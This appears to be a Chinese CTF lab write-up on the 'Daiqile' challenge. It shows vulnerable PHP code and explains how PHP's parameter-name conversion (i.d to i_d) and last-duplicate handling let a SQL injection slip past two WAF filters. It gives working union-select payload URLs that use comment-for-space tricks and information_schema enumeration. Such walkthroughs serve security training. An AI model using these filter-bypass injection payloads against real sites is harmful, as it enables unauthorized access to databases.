Daiqile SQL注入绕过

上源码。

复制代码
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  //   var_dump($_SERVER['REQUEST_URI']);exit;
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['username'] . "</td>";
          echo "</tr>";
      }
  }
?>

这是这个代码的第一个过滤,过滤了空格、括号这些。

这是第二个过滤,而这第二个过滤基本就给我们卡死了,因为他连select都给过滤了。

那么如果我能让一个无错的id走第二个过滤,然后要进行过滤的id走第一个过滤,只要稍加注意过滤点就能实现注入了。

那么该如何实现这种现象呢?

有一个就是php里i.d和i[d,它是可以把' . "和" [ "转换为" _ ",也就是说将会变成i_d,并且两个相同的变量在一起时,php会取最后一个。

既然这样,那就说明我们可以把无害的值进入第二个过滤函数里,绕过这个waf。

然后随着这一串代码对uri的分割,就可以知道,最后代码是把i_d这个值给取进去了,而i_d里的值就是我们的注入语句。

让我们来看看实现结果。

127.0.0.1/daiqile/index.php?submit=abc&i_d=-1%27/**/union/**/select/**/1,2,3&i.d=3

可以看出我们最后是注入成功了的,回显位在2号位。

127.0.0.1/daiqile/index.php?submit=abc&i_d=-1%27/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata&i.d=3

再使用limit进行修饰。

127.0.0.1/daiqile/index.php?submit=abc&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=3

相关推荐
痴人说梦梦中人5 分钟前
自建 dnslog 回显平台:渗透测试场景下的隐蔽回显利器
web安全·网络安全·渗透测试·php·工具
[听得时光枕水眠]6 分钟前
MySQL基础(三)DQL(Data Query Language,数据查询语言)
数据库·mysql·oracle
我科绝伦(Huanhuan Zhou)8 分钟前
深入解析Oracle SQL调优健康检查工具(SQLHC):从原理到实战优化
数据库·sql·oracle
Web极客码2 小时前
如何轻松、安全地管理密码(新手指南)
计算机网络·安全·web安全·网络安全
神奇侠20244 小时前
Hive SQL常见操作
hive·hadoop·sql
一只叫煤球的猫4 小时前
MySQL 8.0 SQL优化黑科技,面试官都不一定知道!
后端·sql·mysql
寒山李白4 小时前
MySQL安装与配置详细讲解
数据库·mysql·配置安装
多多*4 小时前
微服务网关SpringCloudGateway+SaToken鉴权
linux·开发语言·redis·python·sql·log4j·bootstrap
文牧之4 小时前
PostgreSQL 的扩展pg_freespacemap
运维·数据库·postgresql
deriva5 小时前
某水表量每15分钟一报,然后某天示数清0了,重新报示值了 ,如何写sql 计算每日水量
数据库·sql